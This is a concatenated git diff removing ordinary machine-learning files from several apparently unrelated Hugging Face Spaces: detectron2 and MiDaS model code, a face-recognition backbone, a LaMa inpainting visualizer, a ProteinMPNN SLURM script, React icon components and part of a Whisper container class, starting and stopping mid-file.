-[EasyOCR](https://github.com/JaidedAI/EasyOCR)   - -Welcome to discuss with us and continuously improve the user experience of InternChat. - -WeChat QR Code - -

      image

      - diff --git a/spaces/OpenGVLab/InternGPT/iGPT/models/grit_src/third_party/CenterNet2/configs/new_baselines/mask_rcnn_R_50_FPN_100ep_LSJ.py b/spaces/OpenGVLab/InternGPT/iGPT/models/grit_src/third_party/CenterNet2/configs/new_baselines/mask_rcnn_R_50_FPN_100ep_LSJ.py deleted file mode 100644 index df7a2aedf480ed8dc4aa3645e37420e9b893fae4..0000000000000000000000000000000000000000 --- a/spaces/OpenGVLab/InternGPT/iGPT/models/grit_src/third_party/CenterNet2/configs/new_baselines/mask_rcnn_R_50_FPN_100ep_LSJ.py +++ /dev/null @@ -1,72 +0,0 @@ -import detectron2.data.transforms as T -from detectron2.config.lazy import LazyCall as L -from detectron2.layers.batch_norm import NaiveSyncBatchNorm -from detectron2.solver import WarmupParamScheduler -from fvcore.common.param_scheduler import MultiStepParamScheduler - -from ..common.data.coco import dataloader -from ..common.models.mask_rcnn_fpn import model -from ..common.optim import SGD as optimizer -from ..common.train import train - -# train from scratch -train.init_checkpoint = "" -train.amp.enabled = True -train.ddp.fp16_compression = True -model.backbone.bottom_up.freeze_at = 0 - -# SyncBN -# fmt: off -model.backbone.bottom_up.stem.norm = \ - model.backbone.bottom_up.stages.norm = \ - model.backbone.norm = "SyncBN" - -# Using NaiveSyncBatchNorm becase heads may have empty input. That is not supported by -# torch.nn.SyncBatchNorm. We can remove this after -# https://github.com/pytorch/pytorch/issues/36530 is fixed. -model.roi_heads.box_head.conv_norm = \ - model.roi_heads.mask_head.conv_norm = lambda c: NaiveSyncBatchNorm(c, - stats_mode="N") -# fmt: on - -# 2conv in RPN: -# https://github.com/tensorflow/tpu/blob/b24729de804fdb751b06467d3dce0637fa652060/models/official/detection/modeling/architecture/heads.py#L95-L97 # noqa: E501, B950 -model.proposal_generator.head.conv_dims = [-1, -1] - -# 4conv1fc box head -model.roi_heads.box_head.conv_dims = [256, 256, 256, 256] -model.roi_heads.box_head.fc_dims = [1024] - -# resize_and_crop_image in: -# https://github.com/tensorflow/tpu/blob/b24729de804fdb751b06467d3dce0637fa652060/models/official/detection/utils/input_utils.py#L127 # noqa: E501, B950 -image_size = 1024 -dataloader.train.mapper.augmentations = [ - L(T.ResizeScale)( - min_scale=0.1, max_scale=2.0, target_height=image_size, target_width=image_size - ), - L(T.FixedSizeCrop)(crop_size=(image_size, image_size)), - L(T.RandomFlip)(horizontal=True), -] - -# recompute boxes due to cropping -dataloader.train.mapper.recompute_boxes = True - -# larger batch-size. -dataloader.train.total_batch_size = 64 - -# Equivalent to 100 epochs. -# 100 ep = 184375 iters * 64 images/iter / 118000 images/ep -train.max_iter = 184375 - -lr_multiplier = L(WarmupParamScheduler)( - scheduler=L(MultiStepParamScheduler)( - values=[1.0, 0.1, 0.01], - milestones=[163889, 177546], - num_updates=train.max_iter, - ), - warmup_length=500 / train.max_iter, - warmup_factor=0.067, -) - -optimizer.lr = 0.1 -optimizer.weight_decay = 4e-5 diff --git a/spaces/OpenGVLab/InternGPT/third-party/lama/bin/saicinpainting/evaluation/masks/README.md b/spaces/OpenGVLab/InternGPT/third-party/lama/bin/saicinpainting/evaluation/masks/README.md deleted file mode 100644 index cf176bc10fae3b03f139727147c220f2a735c806..0000000000000000000000000000000000000000 --- a/spaces/OpenGVLab/InternGPT/third-party/lama/bin/saicinpainting/evaluation/masks/README.md +++ /dev/null @@ -1,27 +0,0 @@ -# Current algorithm - -## Choice of mask objects - -For identification of the objects which are suitable for mask obtaining, panoptic segmentation model -from [detectron2](https://github.com/facebookresearch/detectron2) trained on COCO. Categories of the detected instances -belong either to "stuff" or "things" types. We consider that instances of objects should have category belong -to "things". Besides, we set upper bound on area which is taken by the object — we consider that too big -area indicates either of the instance being a background or a main object which should not be removed. - -## Choice of position for mask - -We consider that input image has size 2^n x 2^m. We downsample it using -[COUNTLESS](https://github.com/william-silversmith/countless) algorithm so the width is equal to -64 = 2^8 = 2^{downsample_levels}. - -### Augmentation - -There are several parameters for augmentation: -- Scaling factor. We limit scaling to the case when a mask after scaling with pivot point in its center fits inside the - image completely. -- - -### Shift - - -## Select diff --git a/spaces/OpenGVLab/InternGPT/third-party/lama/bin/saicinpainting/evaluation/vis.py b/spaces/OpenGVLab/InternGPT/third-party/lama/bin/saicinpainting/evaluation/vis.py deleted file mode 100644 index c2910b4ef8c61efee72dabd0531a9b669ec8bf98..0000000000000000000000000000000000000000 --- a/spaces/OpenGVLab/InternGPT/third-party/lama/bin/saicinpainting/evaluation/vis.py +++ /dev/null @@ -1,37 +0,0 @@ -import numpy as np -from skimage import io -from skimage.segmentation import mark_boundaries - - -def save_item_for_vis(item, out_file): - mask = item['mask'] > 0.5 - if mask.ndim == 3: - mask = mask[0] - img = mark_boundaries(np.transpose(item['image'], (1, 2, 0)), - mask, - color=(1., 0., 0.), - outline_color=(1., 1., 1.), - mode='thick') - - if 'inpainted' in item: - inp_img = mark_boundaries(np.transpose(item['inpainted'], (1, 2, 0)), - mask, - color=(1., 0., 0.), - mode='outer') - img = np.concatenate((img, inp_img), axis=1) - - img = np.clip(img * 255, 0, 255).astype('uint8') - io.imsave(out_file, img) - - -def save_mask_for_sidebyside(item, out_file): - mask = item['mask']# > 0.5 - if mask.ndim == 3: - mask = mask[0] - mask = np.clip(mask * 255, 0, 255).astype('uint8') - io.imsave(out_file, mask) - -def save_img_for_sidebyside(item, out_file): - img = np.transpose(item['image'], (1, 2, 0)) - img = np.clip(img * 255, 0, 255).astype('uint8') - io.imsave(out_file, img) \ No newline at end of file diff --git a/spaces/OptimalScale/Robin-7b/lmflow/models/encoder_decoder_model.py b/spaces/OptimalScale/Robin-7b/lmflow/models/encoder_decoder_model.py deleted file mode 100644 index 5ccc29c38b66fce6506b9acd904726786bb39398..0000000000000000000000000000000000000000 --- a/spaces/OptimalScale/Robin-7b/lmflow/models/encoder_decoder_model.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python -# coding=utf-8 -"""A one-line summary of the module or program, terminated by a period. - -Leave one blank line. The rest of this docstring should contain an -overall description of the module or program. Optionally, it may also -contain a brief description of exported classes and functions and/or usage -examples. - -Typical usage example: - - foo = ClassFoo() - bar = foo.FunctionBar() -""" - -from lmflow.models.base_model import BaseModel - - -class EncoderDecoderModel(BaseModel): - - def __init__(self, *args, **kwargs): - pass \ No newline at end of file diff --git a/spaces/PKUWilliamYang/VToonify/vtoonify/model/encoder/encoders/model_irse.py b/spaces/PKUWilliamYang/VToonify/vtoonify/model/encoder/encoders/model_irse.py deleted file mode 100644 index 6698d9705321dd4a27681ea15204e9ffaa51f62a..0000000000000000000000000000000000000000 --- a/spaces/PKUWilliamYang/VToonify/vtoonify/model/encoder/encoders/model_irse.py +++ /dev/null @@ -1,84 +0,0 @@ -from torch.nn import Linear, Conv2d, BatchNorm1d, BatchNorm2d, PReLU, Dropout, Sequential, Module -from model.encoder.encoders.helpers import get_blocks, Flatten, bottleneck_IR, bottleneck_IR_SE, l2_norm - -""" -Modified Backbone implementation from [TreB1eN](https://github.com/TreB1eN/InsightFace_Pytorch) -""" - - -class Backbone(Module): - def __init__(self, input_size, num_layers, mode='ir', drop_ratio=0.4, affine=True): - super(Backbone, self).__init__() - assert input_size in [112, 224], "input_size should be 112 or 224" - assert num_layers in [50, 100, 152], "num_layers should be 50, 100 or 152" - assert mode in ['ir', 'ir_se'], "mode should be ir or ir_se" - blocks = get_blocks(num_layers) - if mode == 'ir': - unit_module = bottleneck_IR - elif mode == 'ir_se': - unit_module = bottleneck_IR_SE - self.input_layer = Sequential(Conv2d(3, 64, (3, 3), 1, 1, bias=False), - BatchNorm2d(64), - PReLU(64)) - if input_size == 112: - self.output_layer = Sequential(BatchNorm2d(512), - Dropout(drop_ratio), - Flatten(), - Linear(512 * 7 * 7, 512), - BatchNorm1d(512, affine=affine)) - else: - self.output_layer = Sequential(BatchNorm2d(512), - Dropout(drop_ratio), - Flatten(), - Linear(512 * 14 * 14, 512), - BatchNorm1d(512, affine=affine)) - - modules = [] - for block in blocks: - for bottleneck in block: - modules.append(unit_module(bottleneck.in_channel, - bottleneck.depth, - bottleneck.stride)) - self.body = Sequential(*modules) - - def forward(self, x): - x = self.input_layer(x) - x = self.body(x) - x = self.output_layer(x) - return l2_norm(x) - - -def IR_50(input_size): - """Constructs a ir-50 model.""" - model = Backbone(input_size, num_layers=50, mode='ir', drop_ratio=0.4, affine=False) - return model - - -def IR_101(input_size): - """Constructs a ir-101 model.""" - model = Backbone(input_size, num_layers=100, mode='ir', drop_ratio=0.4, affine=False) - return model - - -def IR_152(input_size): - """Constructs a ir-152 model.""" - model = Backbone(input_size, num_layers=152, mode='ir', drop_ratio=0.4, affine=False) - return model - - -def IR_SE_50(input_size): - """Constructs a ir_se-50 model.""" - model = Backbone(input_size, num_layers=50, mode='ir_se', drop_ratio=0.4, affine=False) - return model - - -def IR_SE_101(input_size): - """Constructs a ir_se-101 model.""" - model = Backbone(input_size, num_layers=100, mode='ir_se', drop_ratio=0.4, affine=False) - return model - - -def IR_SE_152(input_size): - """Constructs a ir_se-152 model.""" - model = Backbone(input_size, num_layers=152, mode='ir_se', drop_ratio=0.4, affine=False) - return model diff --git a/spaces/Pattr/DrumClassification/lilypond-2.24.2/lib/guile/2.2/ccache/ice-9/getopt-long.go b/spaces/Pattr/DrumClassification/lilypond-2.24.2/lib/guile/2.2/ccache/ice-9/getopt-long.go deleted file mode 100644 index c37bd1a29f838a901cd00be79986682a9aa8dcab..0000000000000000000000000000000000000000 Binary files a/spaces/Pattr/DrumClassification/lilypond-2.24.2/lib/guile/2.2/ccache/ice-9/getopt-long.go and /dev/null differ diff --git a/spaces/Pattr/DrumClassification/lilypond-2.24.2/lib/lilypond/2.24.2/ccache/lily/clip-region.go b/spaces/Pattr/DrumClassification/lilypond-2.24.2/lib/lilypond/2.24.2/ccache/lily/clip-region.go deleted file mode 100644 index 7c09d47628f268504e95e9a6dfa276daddad59b8..0000000000000000000000000000000000000000 Binary files a/spaces/Pattr/DrumClassification/lilypond-2.24.2/lib/lilypond/2.24.2/ccache/lily/clip-region.go and /dev/null differ diff --git a/spaces/Pengyey/bingo-chuchu/src/components/ui/icons.tsx b/spaces/Pengyey/bingo-chuchu/src/components/ui/icons.tsx deleted file mode 100644 index 742b489b50437c5b64c86082f2ebc712eeb6a2b0..0000000000000000000000000000000000000000 --- a/spaces/Pengyey/bingo-chuchu/src/components/ui/icons.tsx +++ /dev/null @@ -1,504 +0,0 @@ -'use client' - -import * as React from 'react' - -import { cn } from '@/lib/utils' - -function IconNextChat({ - className, - inverted, - ...props -}: React.ComponentProps<'svg'> & { inverted?: boolean }) { - const id = React.useId() - - return ( - - - - - - - - - - - - - - - - - - - - - - ) -} - -function IconOpenAI({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - OpenAI icon - - - ) -} - -function IconGitHub({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - GitHub - - - ) -} - -function IconSeparator({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - ) -} - -function IconArrowDown({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconArrowRight({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconUser({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconPlus({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconArrowElbow({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconSpinner({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconMessage({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconTrash({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconMore({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconRefresh({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconStop({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconSidebar({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconMoon({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconSun({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconCopy({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconCheck({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconDownload({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconClose({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconEdit({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconShare({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconUsers({ className, ...props }: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconExternalLink({ - className, - ...props -}: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -function IconChevronUpDown({ - className, - ...props -}: React.ComponentProps<'svg'>) { - return ( - - - - ) -} - -export { - IconEdit, - IconNextChat, - IconOpenAI, - IconGitHub, - IconSeparator, - IconArrowDown, - IconArrowRight, - IconUser, - IconPlus, - IconArrowElbow, - IconSpinner, - IconMessage, - IconTrash, - IconMore, - IconRefresh, - IconStop, - IconSidebar, - IconMoon, - IconSun, - IconCopy, - IconCheck, - IconDownload, - IconClose, - IconShare, - IconUsers, - IconExternalLink, - IconChevronUpDown -} diff --git a/spaces/Pie31415/control-animation/annotator/midas/midas/vit.py b/spaces/Pie31415/control-animation/annotator/midas/midas/vit.py deleted file mode 100644 index ea46b1be88b261b0dec04f3da0256f5f66f88a74..0000000000000000000000000000000000000000 --- a/spaces/Pie31415/control-animation/annotator/midas/midas/vit.py +++ /dev/null @@ -1,491 +0,0 @@ -import torch -import torch.nn as nn -import timm -import types -import math -import torch.nn.functional as F - - -class Slice(nn.Module): - def __init__(self, start_index=1): - super(Slice, self).__init__() - self.start_index = start_index - - def forward(self, x): - return x[:, self.start_index :] - - -class AddReadout(nn.Module): - def __init__(self, start_index=1): - super(AddReadout, self).__init__() - self.start_index = start_index - - def forward(self, x): - if self.start_index == 2: - readout = (x[:, 0] + x[:, 1]) / 2 - else: - readout = x[:, 0] - return x[:, self.start_index :] + readout.unsqueeze(1) - - -class ProjectReadout(nn.Module): - def __init__(self, in_features, start_index=1): - super(ProjectReadout, self).__init__() - self.start_index = start_index - - self.project = nn.Sequential(nn.Linear(2 * in_features, in_features), nn.GELU()) - - def forward(self, x): - readout = x[:, 0].unsqueeze(1).expand_as(x[:, self.start_index :]) - features = torch.cat((x[:, self.start_index :], readout), -1) - - return self.project(features) - - -class Transpose(nn.Module): - def __init__(self, dim0, dim1): - super(Transpose, self).__init__() - self.dim0 = dim0 - self.dim1 = dim1 - - def forward(self, x): - x = x.transpose(self.dim0, self.dim1) - return x - - -def forward_vit(pretrained, x): - b, c, h, w = x.shape - - glob = pretrained.model.forward_flex(x) - - layer_1 = pretrained.activations["1"] - layer_2 = pretrained.activations["2"] - layer_3 = pretrained.activations["3"] - layer_4 = pretrained.activations["4"] - - layer_1 = pretrained.act_postprocess1[0:2](layer_1) - layer_2 = pretrained.act_postprocess2[0:2](layer_2) - layer_3 = pretrained.act_postprocess3[0:2](layer_3) - layer_4 = pretrained.act_postprocess4[0:2](layer_4) - - unflatten = nn.Sequential( - nn.Unflatten( - 2, - torch.Size( - [ - h // pretrained.model.patch_size[1], - w // pretrained.model.patch_size[0], - ] - ), - ) - ) - - if layer_1.ndim == 3: - layer_1 = unflatten(layer_1) - if layer_2.ndim == 3: - layer_2 = unflatten(layer_2) - if layer_3.ndim == 3: - layer_3 = unflatten(layer_3) - if layer_4.ndim == 3: - layer_4 = unflatten(layer_4) - - layer_1 = pretrained.act_postprocess1[3 : len(pretrained.act_postprocess1)](layer_1) - layer_2 = pretrained.act_postprocess2[3 : len(pretrained.act_postprocess2)](layer_2) - layer_3 = pretrained.act_postprocess3[3 : len(pretrained.act_postprocess3)](layer_3) - layer_4 = pretrained.act_postprocess4[3 : len(pretrained.act_postprocess4)](layer_4) - - return layer_1, layer_2, layer_3, layer_4 - - -def _resize_pos_embed(self, posemb, gs_h, gs_w): - posemb_tok, posemb_grid = ( - posemb[:, : self.start_index], - posemb[0, self.start_index :], - ) - - gs_old = int(math.sqrt(len(posemb_grid))) - - posemb_grid = posemb_grid.reshape(1, gs_old, gs_old, -1).permute(0, 3, 1, 2) - posemb_grid = F.interpolate(posemb_grid, size=(gs_h, gs_w), mode="bilinear") - posemb_grid = posemb_grid.permute(0, 2, 3, 1).reshape(1, gs_h * gs_w, -1) - - posemb = torch.cat([posemb_tok, posemb_grid], dim=1) - - return posemb - - -def forward_flex(self, x): - b, c, h, w = x.shape - - pos_embed = self._resize_pos_embed( - self.pos_embed, h // self.patch_size[1], w // self.patch_size[0] - ) - - B = x.shape[0] - - if hasattr(self.patch_embed, "backbone"): - x = self.patch_embed.backbone(x) - if isinstance(x, (list, tuple)): - x = x[-1] # last feature if backbone outputs list/tuple of features - - x = self.patch_embed.proj(x).flatten(2).transpose(1, 2) - - if getattr(self, "dist_token", None) is not None: - cls_tokens = self.cls_token.expand( - B, -1, -1 - ) # stole cls_tokens impl from Phil Wang, thanks - dist_token = self.dist_token.expand(B, -1, -1) - x = torch.cat((cls_tokens, dist_token, x), dim=1) - else: - cls_tokens = self.cls_token.expand( - B, -1, -1 - ) # stole cls_tokens impl from Phil Wang, thanks - x = torch.cat((cls_tokens, x), dim=1) - - x = x + pos_embed - x = self.pos_drop(x) - - for blk in self.blocks: - x = blk(x) - - x = self.norm(x) - - return x - - -activations = {} - - -def get_activation(name): - def hook(model, input, output): - activations[name] = output - - return hook - - -def get_readout_oper(vit_features, features, use_readout, start_index=1): - if use_readout == "ignore": - readout_oper = [Slice(start_index)] * len(features) - elif use_readout == "add": - readout_oper = [AddReadout(start_index)] * len(features) - elif use_readout == "project": - readout_oper = [ - ProjectReadout(vit_features, start_index) for out_feat in features - ] - else: - assert ( - False - ), "wrong operation for readout token, use_readout can be 'ignore', 'add', or 'project'" - - return readout_oper - - -def _make_vit_b16_backbone( - model, - features=[96, 192, 384, 768], - size=[384, 384], - hooks=[2, 5, 8, 11], - vit_features=768, - use_readout="ignore", - start_index=1, -): - pretrained = nn.Module() - - pretrained.model = model - pretrained.model.blocks[hooks[0]].register_forward_hook(get_activation("1")) - pretrained.model.blocks[hooks[1]].register_forward_hook(get_activation("2")) - pretrained.model.blocks[hooks[2]].register_forward_hook(get_activation("3")) - pretrained.model.blocks[hooks[3]].register_forward_hook(get_activation("4")) - - pretrained.activations = activations - - readout_oper = get_readout_oper(vit_features, features, use_readout, start_index) - - # 32, 48, 136, 384 - pretrained.act_postprocess1 = nn.Sequential( - readout_oper[0], - Transpose(1, 2), - nn.Unflatten(2, torch.Size([size[0] // 16, size[1] // 16])), - nn.Conv2d( - in_channels=vit_features, - out_channels=features[0], - kernel_size=1, - stride=1, - padding=0, - ), - nn.ConvTranspose2d( - in_channels=features[0], - out_channels=features[0], - kernel_size=4, - stride=4, - padding=0, - bias=True, - dilation=1, - groups=1, - ), - ) - - pretrained.act_postprocess2 = nn.Sequential( - readout_oper[1], - Transpose(1, 2), - nn.Unflatten(2, torch.Size([size[0] // 16, size[1] // 16])), - nn.Conv2d( - in_channels=vit_features, - out_channels=features[1], - kernel_size=1, - stride=1, - padding=0, - ), - nn.ConvTranspose2d( - in_channels=features[1], - out_channels=features[1], - kernel_size=2, - stride=2, - padding=0, - bias=True, - dilation=1, - groups=1, - ), - ) - - pretrained.act_postprocess3 = nn.Sequential( - readout_oper[2], - Transpose(1, 2), - nn.Unflatten(2, torch.Size([size[0] // 16, size[1] // 16])), - nn.Conv2d( - in_channels=vit_features, - out_channels=features[2], - kernel_size=1, - stride=1, - padding=0, - ), - ) - - pretrained.act_postprocess4 = nn.Sequential( - readout_oper[3], - Transpose(1, 2), - nn.Unflatten(2, torch.Size([size[0] // 16, size[1] // 16])), - nn.Conv2d( - in_channels=vit_features, - out_channels=features[3], - kernel_size=1, - stride=1, - padding=0, - ), - nn.Conv2d( - in_channels=features[3], - out_channels=features[3], - kernel_size=3, - stride=2, - padding=1, - ), - ) - - pretrained.model.start_index = start_index - pretrained.model.patch_size = [16, 16] - - # We inject this function into the VisionTransformer instances so that - # we can use it with interpolated position embeddings without modifying the library source. - pretrained.model.forward_flex = types.MethodType(forward_flex, pretrained.model) - pretrained.model._resize_pos_embed = types.MethodType( - _resize_pos_embed, pretrained.model - ) - - return pretrained - - -def _make_pretrained_vitl16_384(pretrained, use_readout="ignore", hooks=None): - model = timm.create_model("vit_large_patch16_384", pretrained=pretrained) - - hooks = [5, 11, 17, 23] if hooks == None else hooks - return _make_vit_b16_backbone( - model, - features=[256, 512, 1024, 1024], - hooks=hooks, - vit_features=1024, - use_readout=use_readout, - ) - - -def _make_pretrained_vitb16_384(pretrained, use_readout="ignore", hooks=None): - model = timm.create_model("vit_base_patch16_384", pretrained=pretrained) - - hooks = [2, 5, 8, 11] if hooks == None else hooks - return _make_vit_b16_backbone( - model, features=[96, 192, 384, 768], hooks=hooks, use_readout=use_readout - ) - - -def _make_pretrained_deitb16_384(pretrained, use_readout="ignore", hooks=None): - model = timm.create_model("vit_deit_base_patch16_384", pretrained=pretrained) - - hooks = [2, 5, 8, 11] if hooks == None else hooks - return _make_vit_b16_backbone( - model, features=[96, 192, 384, 768], hooks=hooks, use_readout=use_readout - ) - - -def _make_pretrained_deitb16_distil_384(pretrained, use_readout="ignore", hooks=None): - model = timm.create_model( - "vit_deit_base_distilled_patch16_384", pretrained=pretrained - ) - - hooks = [2, 5, 8, 11] if hooks == None else hooks - return _make_vit_b16_backbone( - model, - features=[96, 192, 384, 768], - hooks=hooks, - use_readout=use_readout, - start_index=2, - ) - - -def _make_vit_b_rn50_backbone( - model, - features=[256, 512, 768, 768], - size=[384, 384], - hooks=[0, 1, 8, 11], - vit_features=768, - use_vit_only=False, - use_readout="ignore", - start_index=1, -): - pretrained = nn.Module() - - pretrained.model = model - - if use_vit_only == True: - pretrained.model.blocks[hooks[0]].register_forward_hook(get_activation("1")) - pretrained.model.blocks[hooks[1]].register_forward_hook(get_activation("2")) - else: - pretrained.model.patch_embed.backbone.stages[0].register_forward_hook( - get_activation("1") - ) - pretrained.model.patch_embed.backbone.stages[1].register_forward_hook( - get_activation("2") - ) - - pretrained.model.blocks[hooks[2]].register_forward_hook(get_activation("3")) - pretrained.model.blocks[hooks[3]].register_forward_hook(get_activation("4")) - - pretrained.activations = activations - - readout_oper = get_readout_oper(vit_features, features, use_readout, start_index) - - if use_vit_only == True: - pretrained.act_postprocess1 = nn.Sequential( - readout_oper[0], - Transpose(1, 2), - nn.Unflatten(2, torch.Size([size[0] // 16, size[1] // 16])), - nn.Conv2d( - in_channels=vit_features, - out_channels=features[0], - kernel_size=1, - stride=1, - padding=0, - ), - nn.ConvTranspose2d( - in_channels=features[0], - out_channels=features[0], - kernel_size=4, - stride=4, - padding=0, - bias=True, - dilation=1, - groups=1, - ), - ) - - pretrained.act_postprocess2 = nn.Sequential( - readout_oper[1], - Transpose(1, 2), - nn.Unflatten(2, torch.Size([size[0] // 16, size[1] // 16])), - nn.Conv2d( - in_channels=vit_features, - out_channels=features[1], - kernel_size=1, - stride=1, - padding=0, - ), - nn.ConvTranspose2d( - in_channels=features[1], - out_channels=features[1], - kernel_size=2, - stride=2, - padding=0, - bias=True, - dilation=1, - groups=1, - ), - ) - else: - pretrained.act_postprocess1 = nn.Sequential( - nn.Identity(), nn.Identity(), nn.Identity() - ) - pretrained.act_postprocess2 = nn.Sequential( - nn.Identity(), nn.Identity(), nn.Identity() - ) - - pretrained.act_postprocess3 = nn.Sequential( - readout_oper[2], - Transpose(1, 2), - nn.Unflatten(2, torch.Size([size[0] // 16, size[1] // 16])), - nn.Conv2d( - in_channels=vit_features, - out_channels=features[2], - kernel_size=1, - stride=1, - padding=0, - ), - ) - - pretrained.act_postprocess4 = nn.Sequential( - readout_oper[3], - Transpose(1, 2), - nn.Unflatten(2, torch.Size([size[0] // 16, size[1] // 16])), - nn.Conv2d( - in_channels=vit_features, - out_channels=features[3], - kernel_size=1, - stride=1, - padding=0, - ), - nn.Conv2d( - in_channels=features[3], - out_channels=features[3], - kernel_size=3, - stride=2, - padding=1, - ), - ) - - pretrained.model.start_index = start_index - pretrained.model.patch_size = [16, 16] - - # We inject this function into the VisionTransformer instances so that - # we can use it with interpolated position embeddings without modifying the library source. - pretrained.model.forward_flex = types.MethodType(forward_flex, pretrained.model) - - # We inject this function into the VisionTransformer instances so that - # we can use it with interpolated position embeddings without modifying the library source. - pretrained.model._resize_pos_embed = types.MethodType( - _resize_pos_embed, pretrained.model - ) - - return pretrained - - -def _make_pretrained_vitb_rn50_384( - pretrained, use_readout="ignore", hooks=None, use_vit_only=False -): - model = timm.create_model("vit_base_resnet50_384", pretrained=pretrained) - - hooks = [0, 1, 8, 11] if hooks == None else hooks - return _make_vit_b_rn50_backbone( - model, - features=[256, 512, 768, 768], - size=[384, 384], - hooks=hooks, - use_vit_only=use_vit_only, - use_readout=use_readout, - ) diff --git a/spaces/ProteinDesignLab/protpardelle/ProteinMPNN/examples/submit_example_4_non_fixed.sh b/spaces/ProteinDesignLab/protpardelle/ProteinMPNN/examples/submit_example_4_non_fixed.sh deleted file mode 100644 index 77b27f0e635b83fccddcf9df65b085d5accf0782..0000000000000000000000000000000000000000 --- a/spaces/ProteinDesignLab/protpardelle/ProteinMPNN/examples/submit_example_4_non_fixed.sh +++ /dev/null @@ -1,40 +0,0 @@ -#!/bin/bash -#SBATCH -p gpu -#SBATCH --mem=32g -#SBATCH --gres=gpu:rtx2080:1 -#SBATCH -c 3 -#SBATCH --output=example_4_non_fixed.out - -source activate mlfold - -folder_with_pdbs="../inputs/PDB_complexes/pdbs/" - -output_dir="../outputs/example_4_non_fixed_outputs" -if [ ! -d $output_dir ] -then - mkdir -p $output_dir -fi - - -path_for_parsed_chains=$output_dir"/parsed_pdbs.jsonl" -path_for_assigned_chains=$output_dir"/assigned_pdbs.jsonl" -path_for_fixed_positions=$output_dir"/fixed_pdbs.jsonl" -chains_to_design="A C" -#The first amino acid in the chain corresponds to 1 and not PDB residues index for now. -design_only_positions="1 2 3 4 5 6 7 8 9 10, 3 4 5 6 7 8" #design only these residues; use flag --specify_non_fixed - -python ../helper_scripts/parse_multiple_chains.py --input_path=$folder_with_pdbs --output_path=$path_for_parsed_chains - -python ../helper_scripts/assign_fixed_chains.py --input_path=$path_for_parsed_chains --output_path=$path_for_assigned_chains --chain_list "$chains_to_design" - -python ../helper_scripts/make_fixed_positions_dict.py --input_path=$path_for_parsed_chains --output_path=$path_for_fixed_positions --chain_list "$chains_to_design" --position_list "$design_only_positions" --specify_non_fixed - -python ../protein_mpnn_run.py \ - --jsonl_path $path_for_parsed_chains \ - --chain_id_jsonl $path_for_assigned_chains \ - --fixed_positions_jsonl $path_for_fixed_positions \ - --out_folder $output_dir \ - --num_seq_per_target 2 \ - --sampling_temp "0.1" \ - --seed 37 \ - --batch_size 1 diff --git a/spaces/Rakot2223/faster-whisper-webui/src/whisper/abstractWhisperContainer.py b/spaces/Rakot2223/faster-whisper-webui/src/whisper/abstractWhisperContainer.py deleted file mode 100644 index d14fb23d24256e3f1c12d8ae1db6ece891d49ec8..0000000000000000000000000000000000000000 --- a/spaces/Rakot2223/faster-whisper-webui/src/whisper/abstractWhisperContainer.py +++ /dev/null @@ -1,122 +0,0 @@ -import abc -from typing import List -from src.config import ModelConfig, VadInitialPromptMode - -from src.hooks.progressListener import ProgressListener -from src.modelCache import GLOBAL_MODEL_CACHE, ModelCache - -class AbstractWhisperCallback: - @abc.abstractmethod - def invoke(self, audio, segment_index: int, prompt: str, detected_language: str, progress_listener: ProgressListener = None): - """ - Peform the transcription of the given audio file or data. - - Parameters - ---------- - audio: Union[str, np.ndarray, torch.Tensor] - The audio file to transcribe, or the audio data as a numpy array or torch tensor. - segment_index: int - The target language of the transcription. If not specified, the language will be inferred from the audio content. - task: str - The task - either translate or transcribe. - progress_listener: ProgressListener - A callback to receive progress updates. - """ - raise NotImplementedError() - - def _get_initial_prompt(self, initial_prompt: str, initial_prompt_mode: VadInitialPromptMode, - prompt: str, segment_index: int): - if (initial_prompt_mode == VadInitialPromptMode.PREPEND_ALL_SEGMENTS): - return self._concat_prompt(initial_prompt, prompt) - elif (initial_prompt_mode == VadInitialPromptMode.PREPREND_FIRST_SEGMENT): - return self._concat_prompt(initial_prompt, prompt) if segment_index == 0 else prompt - else: - raise ValueError(f"Unknown initial prompt mode {initial_prompt_mode}") - - def _concat_prompt(self, prompt1, prompt2): - if (prompt1 is None): - return prompt2 - elif (prompt2 is None): - return prompt1 - else: - return prompt1 + " " + prompt2 - -class AbstractWhisperContainer: - def __init__(self, model_name: str, device: str = None, compute_type: str = "float16", - download_root: str = None, - cache: ModelCache = None, models: List[ModelConfig] = []): - self.model_name = model_name - self.device = device - self.compute_type = compute_type - self.download_root = download_root - self.cache = cache - - # Will be created on demand - self.model = None - - # List of known models - self.models = models - - def get_model(self): - if self.model is None: - - if (self.cache is None): - self.model = self._create_model() - else: - model_key = "WhisperContainer." + self.model_name + ":" + (self.device if self.device else '') - self.model = self.cache.get(model_key, self._create_model) - return self.model - - @abc.abstractmethod - def _create_model(self): - raise NotImplementedError() - - def ensure_downloaded(self): - pass - - @abc.abstractmethod - def create_callback(self, language: str = None, task: str = None, initial_prompt: str = None, - 